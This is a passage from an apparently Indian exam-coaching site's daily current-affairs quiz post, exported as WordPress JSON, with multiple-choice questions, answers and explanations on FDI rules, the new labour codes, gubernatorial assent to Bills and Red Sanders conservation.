{"id":2769,"date":"2025-11-25T04:41:44","date_gmt":"2025-11-25T04:41:44","guid":{"rendered":"https:\/\/iasquest.com\/?p=2769"},"modified":"2026-02-11T18:47:06","modified_gmt":"2026-02-11T18:47:06","slug":"daily-current-affairs-24-11-2025","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/daily-current-affairs-24-11-2025\/","title":{"rendered":"DAILY CURRENT AFFAIRS \u2013 24.11.2025"},"content":{"rendered":"\n<p class=\"has-black-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>1. Which of the following sectors allow 100% FDI under the automatic route?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">1. Telecom<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">2. Defence manufacturing<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\">3. Railway infrastructure<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\">4. E-commerce marketplace model<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>Select the correct answer using the code given below.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\">(a) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\">(b) 1, 2 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-9 wp-block-paragraph\">(c) 1, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">(d) 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-11 wp-block-paragraph\"><strong>Answer: (c) 1, 3, and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>In NEWS:<\/strong> Insurance Bill Proposes 100% FDI to Boost Sector Growth<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Sectors Allowing 100% FDI Through Automatic Route<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>Agriculture &amp; allied sectors (except plantations like tea\/coffee require specific norms).<\/li>\n\n\n\n<li>Mining and exploration of metal &amp; non-metal ores.<\/li>\n\n\n\n<li>Petroleum &amp; natural gas (exploration activities).<\/li>\n\n\n\n<li>Manufacturing sector.<\/li>\n\n\n\n<li>Construction development projects.<\/li>\n\n\n\n<li>Railway infrastructure (excluding operations).<\/li>\n\n\n\n<li>E-commerce marketplace model (not inventory model).<\/li>\n\n\n\n<li>Single Brand Retail Trading (SBRT).<\/li>\n\n\n\n<li>White-label ATM operations.<\/li>\n\n\n\n<li>Telecom services.<\/li>\n\n\n\n<li>Power including renewable energy.<\/li>\n\n\n\n<li>Civil aviation (greenfield airports).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Sectors Allowing 100% FDI But Through Government Route<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>Defence industry (up to 74% automatic; 100% via govt route in cases of access to modern tech). <strong>Hence 2 is incorrect<\/strong><\/li>\n\n\n\n<li>Satellites \u2013 establishment and operation.<\/li>\n\n\n\n<li>Print media (non-news, specialty journals).<\/li>\n\n\n\n<li>Food products retail trading (manufactured &amp; produced in India).<\/li>\n\n\n\n<li>Banking (Private sector)\u2014technically 74% automatic + 100% for NRIs; some sub-categories reach 100% with approvals.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Sectors With FDI Restrictions (Not 100%)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>Insurance sector \u2192 74%<\/li>\n\n\n\n<li>Digital media \u2192 26%<\/li>\n\n\n\n<li>News media \u2192 26%<\/li>\n\n\n\n<li>Defence automatic limit \u2192 74%<\/li>\n\n\n\n<li>Private security agencies \u2192 74%<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Prohibited Sectors (0% FDI)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>Lottery business<\/li>\n\n\n\n<li>Gambling &amp; betting<\/li>\n\n\n\n<li>Tobacco manufacturing (cigarettes, cigars, etc.)<\/li>\n\n\n\n<li>Atomic energy<\/li>\n\n\n\n<li>Railway operations<\/li>\n\n\n\n<li>Real estate business (other than construction)<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2011)<\/strong> <br><br><strong>Q. Both Foreign Direct Investment (FDI) and Foreign Institutional Investor (FII) are related to investment in a country. Which one of the following statements best represents an important difference between the two?<\/strong> <br><br>(a) FII helps bring better management skills and technology, while FDI only brings in capital <br><strong>(b) FII helps in increasing capital availability in general, while FDI only targets specific sectors<\/strong> <br>(c) FDI flows only into the secondary market, while FII targets primary market. <br>(d) FII is considered to be more stable than FDI<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-22 wp-block-paragraph\" style=\"color:#0408f7\"><strong>Source: <\/strong><a href=\"https:\/\/m.economictimes.com\/news\/economy\/policy\/bill-to-hike-fdi-in-insurance-sector-to-100-per-cent-likely-to-be-tabled-in-winter-session-of-parliament\/articleshow\/125507177.cms\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/m.economictimes.com\/news\/economy\/policy\/bill-to-hike-fdi-in-insurance-sector-to-100-per-cent-likely-to-be-tabled-in-winter-session-of-parliament\/articleshow\/125507177.cms<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-23 wp-block-paragraph\"><strong>2. Which of the following are the outcomes of the implementation of the four labour codes in India, effective from 21st November 2025?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\">I. \u2018Gig work\u2019, \u2018Platform work\u2019, and \u2018Aggregators\u2019 have been defined for the first time.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-25 wp-block-paragraph\">II. Textile workers are entitled to double wages for overtime work.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\">III. For IT &amp; ITES Workers, release of Salary is mandatory by the 7th of every month.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-27 wp-block-paragraph\">IV. Women workers are permitted to work in night shifts across all establishments, subject to their consent and safety measures.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\">V. Fixed-term employees receive gratuity only after completing five years of service.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-29 wp-block-paragraph\"><strong>Select the correct answer using the code given below.&nbsp;&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\">(a) I, II and V only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-31 wp-block-paragraph\">(b) II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\">(c) I, III, IV and V<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-33 wp-block-paragraph\">(d) I, II, III and IV<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\"><strong>Answer: (d) I, II, III and IV<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><strong>In NEWS: <\/strong>The four Labour Codes &#8211; the Code on Wages, 2019, the Industrial Relations Code, 2020, the Code on Social Security, 2020 and the Occupational Safety, Health and Working Conditions Code, 2020 are being made effective from 21st November 2025<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-37 wp-block-paragraph\"><strong>Benefits of Labour Reforms Across Key Sectors:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-38 wp-block-paragraph\"><strong>1. Fixed-Term Employees (FTE):<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-39\">\n<li>FTEs to receive <strong>all benefits equal to permanent workers<\/strong>, including leave, medical, and social security.<\/li>\n\n\n\n<li><strong>Gratuity eligibility after just one year<\/strong>, instead of five. <strong>Hence statement V is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Equal wages<\/strong> as permanent staff, increasing income and protection.<\/li>\n\n\n\n<li>Promotes direct hiring and reduces excessive contractualisation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-40 wp-block-paragraph\"><strong>2. Gig &amp; Platform Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-41\">\n<li>\u2018Gig work\u2019, \u2018Platform work\u2019, and \u2018Aggregators\u2019 <strong>have been defined for the first time<\/strong>. <strong>Hence statement I is correct.<\/strong><\/li>\n\n\n\n<li>Aggregators must contribute <strong>1\u20132% of the annual turnover, <\/strong>capped at 5% of the amount paid\/payable to gig and platform workers.<\/li>\n\n\n\n<li>Aadhaar-linked Universal Account Number will make welfare benefits easy to access, fully portable, and available across states, regardless of migration.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-42 wp-block-paragraph\"><strong>3. Contract Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-43\">\n<li><strong>Fixed-term employees (FTE) will increase employability and ensure social security, legal protection like benefits equal to permanent employees.<\/strong><\/li>\n\n\n\n<li>Fixed-term employees will become eligible for gratuity after one year of continuous service.<\/li>\n\n\n\n<li><strong>Principal employer will provide health benefits and social security benefits to contract workers.<\/strong><\/li>\n\n\n\n<li><strong>Workers to get free annual health check-up.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-44 wp-block-paragraph\"><strong>4. Women Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-45\">\n<li><strong>Gender discrimination legally prohibited.<\/strong><\/li>\n\n\n\n<li><strong>Equal pay for equal work<\/strong> ensured.<\/li>\n\n\n\n<li>Women are <strong>permitted to work night shifts and in all types of work<\/strong> (including underground mining and heavy machinery), <strong>subject to their consent<\/strong> and mandatory safety measures. <strong>Hence statement IV is correct.<\/strong><\/li>\n\n\n\n<li>Mandatory women\u2019s representation in grievance redressal committees<\/li>\n\n\n\n<li>Provision to add parents-in-law in Family Definition of Female employees, expanding dependent coverage and ensuring inclusivity.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-46 wp-block-paragraph\"><strong>5. Youth Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-47\">\n<li><strong>Minimum wage is guaranteed for all workers.<\/strong><\/li>\n\n\n\n<li>All workers to get <strong>appointment letters<\/strong>, &#8211; promoting social security, employment history and formal employment.<\/li>\n\n\n\n<li>Worker exploitation by employers is prohibited\u2014payment of wages during leave has been made mandatory.<\/li>\n\n\n\n<li>To ensure a decent standard of living, workers will receive wages as per the <strong>floor wage<\/strong> determined by the Central Government.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-48 wp-block-paragraph\"><strong>6. MSME Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-49\">\n<li>All MSME workers covered under the <strong>Social Security Code, 2020<\/strong>, eligibility based on employee count.<\/li>\n\n\n\n<li><strong>Minimum wage guaranteed for all workers.<\/strong><\/li>\n\n\n\n<li><strong>Workers will have access to facilities such as canteens, drinking water, and rest areas.<\/strong><\/li>\n\n\n\n<li><strong>Provisions for standard working hours, double overtime wages, and paid leave.<\/strong><\/li>\n\n\n\n<li>Timely wage payment ensured.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-50 wp-block-paragraph\"><strong>7. Beedi &amp; Cigar Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-51\">\n<li><strong>Minimum wages<\/strong> guaranteed for all.<\/li>\n\n\n\n<li>Working hours capped at <strong>8 -12 hours per day, 48 hours per week has been capped<\/strong>.<\/li>\n\n\n\n<li>Overtime Work beyond prescribed hours, to be consent based and pay at least double the normal wage rate.<\/li>\n\n\n\n<li>Timely payment of wages ensured.<\/li>\n\n\n\n<li><strong>Workers eligible for Bonus <\/strong>after completing 30 days of work in a year.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-52 wp-block-paragraph\"><strong>8. Plantation Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-53\">\n<li><strong>Plantation workers are now brought under the OSHWC Code and the Social Security Code.<\/strong><\/li>\n\n\n\n<li>Labour Codes apply to plantations with more than 10 workers or 5 or more hectares.<\/li>\n\n\n\n<li><strong>Mandatory safety training on handling, storing, and using chemicals.<\/strong><\/li>\n\n\n\n<li><strong>Protective equipment mandatory <\/strong>to prevent accidents and chemical exposure.<\/li>\n\n\n\n<li>Workers and their families <strong>to get full ESI medical facilities; Education facilities <\/strong>for their children are also guaranteed.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-54 wp-block-paragraph\"><strong>9. Audio-Visual &amp; Digital Media Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-55\">\n<li><strong>Digital and audio-visual workers, including journalists in electronic media, dubbing artists, and stunt persons will now receive full benefits.<\/strong><\/li>\n\n\n\n<li><strong>Mandatory appointment letter for all workers &#8211;<\/strong> clearly stating their designation, wages, and social security entitlements.<\/li>\n\n\n\n<li><strong>Timely payment of wages<\/strong> ensured.<\/li>\n\n\n\n<li><strong>Overtime Work beyond prescribed hours, to be consent based and pay at least double the normal wage rate.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-56 wp-block-paragraph\"><strong>10. Mine Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-57\">\n<li><strong>The Social Security Code treats certain commuting accidents as employment-related, subject to conditions of time, and place of employment.<\/strong><\/li>\n\n\n\n<li>Central Government notified standards to <strong>standardize workplace occupational safety and health conditions<\/strong>.<\/li>\n\n\n\n<li><strong>Health safety for all workers will be ensured. <\/strong>Free annual health check-up will be provided.<\/li>\n\n\n\n<li><strong>Limit on working hours<\/strong> set to 8 to 12 hours per day, 48 hours per week to ensure health and work-life balance.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-58 wp-block-paragraph\"><strong>11. Hazardous Industry Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-59\">\n<li>All workers will receive <strong>free annual health check-ups<\/strong>.<\/li>\n\n\n\n<li><strong>Central Government<\/strong> will <strong>frame national standards <\/strong>for better safety of workers.<\/li>\n\n\n\n<li><strong>Women can work in all establishments<\/strong>, including underground mining, heavy machinery, and hazardous jobs, ensuring equal job opportunities for all.<\/li>\n\n\n\n<li>Mandatory safety committee at each site for on-site safety monitoring, and safe handling of hazardous chemicals ensured.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-60 wp-block-paragraph\"><strong>12. Textile Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-61\">\n<li>All <strong>Migrant Workers <\/strong>(direct, contractor-based and self-migrated) to get <strong>Equal wages, welfare benefits<\/strong> and PDS portability benefits.<\/li>\n\n\n\n<li>Workers can raise claims for upto 3 years for settlement of pending dues, facilitating flexible and easy resolution.<\/li>\n\n\n\n<li>Provision for <strong>double wages for workers for overtime work<\/strong>. <strong>Hence statement II is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-62 wp-block-paragraph\"><strong>13. IT &amp; ITES Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-63\">\n<li><strong>Release of Salary mandatory by the 7th of every month<\/strong>. Transparency and trust ensured. <strong>Hence statement III is correct.<\/strong><\/li>\n\n\n\n<li><strong>Equal pay for equal work made mandatory, <\/strong>women\u2019s participation is strengthened.<\/li>\n\n\n\n<li>Facility for <strong>women to work night shifts <\/strong>in all establishments \u2013 women to get <strong>opportunity to earn higher wages.<\/strong><\/li>\n\n\n\n<li><strong>Timely resolution <\/strong>of harassment, discrimination, and wage related disputes.<\/li>\n\n\n\n<li>Guarantee of <strong>social security benefits through fixed-term employment and mandatory appointment letters.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-64 wp-block-paragraph\"><strong>14. Dock Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-65\">\n<li>All Dock workers to <strong>get formal recognition, Legal Protection.<\/strong><\/li>\n\n\n\n<li>Mandatory appointment letters to guarantee social security benefits.<\/li>\n\n\n\n<li><strong>Provident fund, pension, and insurance benefits ensured for all, <\/strong>whethercontract or temporary dock workers.<\/li>\n\n\n\n<li>Employer-funded annual health check-ups <strong>mandatory<\/strong>.<\/li>\n\n\n\n<li><strong>Dock workers to get mandatory medical facilities, first aid, sanitary and washing areas, etc., to ensure decent work conditions and safety.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-66 wp-block-paragraph\"><strong>15. Export Sector Workers:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-67\">\n<li><strong>Export sector fixed term workers to receive gratuity, provident fund (PF), and other social security benefits<\/strong>.<\/li>\n\n\n\n<li>Every worker to have the option of availing <strong>annual leaves after 180 days of work in a year.<\/strong><\/li>\n\n\n\n<li>Every worker to get right to <strong>timely wage payment and no unauthorized wage deductions and no wage ceiling restrictions.<\/strong><\/li>\n\n\n\n<li>Women allowed to <strong>work in night shifts <\/strong>with consent, ensuring opportunity to earn higher income.<\/li>\n\n\n\n<li><strong>Safety and welfare measures <\/strong>include mandatory written consent, double wages for overtime, safe transportation, CCTV surveillance, and security arrangements.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. With reference to casual workers employed in India, consider the following statements:<\/strong> <br><br>1. All casual workers are entitled for Employees Provident Fund coverage. <br>2. All casual workers are entitled for regular working hours and overtime payment. <br>3. The government can by a notification specify that an establishment or industry shall pay wages only through its bank account. <br><br><strong>Which of the above statements are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-68 wp-block-paragraph\" style=\"color:#030fe9\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2192463\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2192463<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-69 wp-block-paragraph\"><strong>3. Under the Constitution, the Governor is mandatorily required to reserve a State Bill for the consideration of the President if the Bill:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-70 wp-block-paragraph\">1. Undermines powers of High Courts.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-71 wp-block-paragraph\">2. Conflicts with central laws on subjects in the Concurrent List.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-72 wp-block-paragraph\">3. Affects the position of the Union in certain matters.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-73 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-74 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-75 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-76 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-77 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-78 wp-block-paragraph\"><strong>Answer: (d) 1, 2 and 3<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-79 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-80 wp-block-paragraph\"><strong>In NEWS: <\/strong>Timelines Can&#8217;t Be Fixed For Governors\/President For Bills&#8217; Assent; No Concept Of &#8216;Deemed Assent&#8217; : Supreme Court In Presidential Reference<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-81 wp-block-paragraph\"><strong>Assent to Bills: President&nbsp; &amp; Governor (Articles 200 &amp; 201)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-82 wp-block-paragraph\"><strong>Governor\u2019s Options (Article 200): <\/strong>When a State Bill is presented, the Governor may:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-83\">\n<li>Give assent<\/li>\n\n\n\n<li>Withhold assent<\/li>\n\n\n\n<li>Return the Bill (if not a Money Bill) for reconsideration.<\/li>\n\n\n\n<li>Reserve the Bill for the President (mandatory in certain cases like derogation of High Court powers; optional in others).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-84 wp-block-paragraph\"><strong>President\u2019s Options (Article 201) for a Bill reserved by the Governor:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-85\">\n<li>Give assent<\/li>\n\n\n\n<li>Withhold assent<\/li>\n\n\n\n<li>Return the Bill (if not a Money Bill) for reconsideration of the State Legislature.<\/li>\n\n\n\n<li>Static Principles Related to Assent<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-86 wp-block-paragraph\"><strong>Discretion of the Governor<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-87\">\n<li>The Governor has constitutional discretion (especially in reserving Bills for the President).<\/li>\n\n\n\n<li>But discretion must be exercised not arbitrarily, but as per constitutional norms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-88 wp-block-paragraph\"><strong>Mandatory Reservation<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-89 wp-block-paragraph\">A Bill must be reserved for the President if it:<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-90\">\n<li>Undermines powers of High Courts.<\/li>\n\n\n\n<li>Conflicts with central laws on subjects in the Concurrent List.<\/li>\n\n\n\n<li>Affects the position of the Union in certain matters.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-91 wp-block-paragraph\"><strong>Hence all the statements are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-92 wp-block-paragraph\"><strong>Effect of Reconsideration<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-93\">\n<li>If a Bill is returned and passed again by simple majority, the Governor must give assent (cannot reject again).<\/li>\n\n\n\n<li>This applies to the President also when handling reserved Bills.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements regarding constitutional provisions in India:<\/strong> <br><br>I. The Constitution of India explicitly mentions situations where the Governor of a State can act in his\/her discretion.\u00a0 <br>II. The President of India can, on his\/her own, reserve a Bill passed by a State Legislature for consideration, even without it being forwarded by the Governor of the concerned State.\u00a0 <br><br><strong>Which of the above statements is\/are correct?\u00a0<\/strong> <br><br><strong>(a) I only\u00a0<\/strong><br> (b) II only\u00a0 <br>(c) Both I and II\u00a0 <br>(d) Neither I nor II<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source:<\/strong><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-94 wp-block-paragraph\" style=\"color:#0420f4\"><a href=\"https:\/\/www.thehindu.com\/news\/national\/presidential-reference-supreme-courts-responses-to-president-murmus-14-questions\/article70301979.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/presidential-reference-supreme-courts-responses-to-president-murmus-14-questions\/article7030<\/strong>1979.ece<\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-95 wp-block-paragraph\" style=\"color:#070bee\"><a href=\"https:\/\/www.google.com\/amp\/s\/www.livelaw.in\/amp\/top-stories\/timelines-cant-be-fixed-for-governorspresident-for-bills-assent-no-concept-of-deemed-assent-supreme-court-in-presidential-reference-310575\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.google.com\/amp\/s\/www.livelaw.in\/amp\/top-stories\/timelines-cant-be-fixed-for-governorspresident-for-bills-assent-no-concept-of-deemed-assent-supreme-court-in-presidential-reference-310575<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-96 wp-block-paragraph\"><strong>4. With reference to \u2018Red Sanders\u2019 Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-97 wp-block-paragraph\">1. Red Sanders grows extensively in the Western Ghats due to high rainfall.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-98 wp-block-paragraph\">2. This species prefers moist tropical evergreen conditions.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-99 wp-block-paragraph\"><strong>Which of the statements given above is\/are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-100 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-101 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-102 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-103 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>Answer: (d) Neither 1 nor 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\"><strong>In NEWS:<\/strong> NBA releases \u20b939.84 crore to Andhra Pradesh for Red Sanders conservation<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\"><strong>Red Sanders:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-108\">\n<li>Red Sanders (Pterocarpus santalinus) is endemic to the dry deciduous forests of the Eastern Ghats, mainly Andhra Pradesh. <strong>Hence both the statements are incorrect.<\/strong><\/li>\n\n\n\n<li>It is classified as Endangered on the IUCN Red List.<\/li>\n\n\n\n<li>It is listed under CITES Appendix II, making its international trade strictly regulated.<\/li>\n\n\n\n<li>India imposes an export ban, except through government-authorized auctions.<\/li>\n\n\n\n<li>Wood is valued for its deep red color (santalin pigment), durability, and cultural demand in East Asia.<\/li>\n\n\n\n<li>It is among India\u2019s most smuggled forest products, driven by high black-market prices.<\/li>\n\n\n\n<li>AP has formed a Red Sanders Anti-Smuggling Task Force (RSASTF).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background 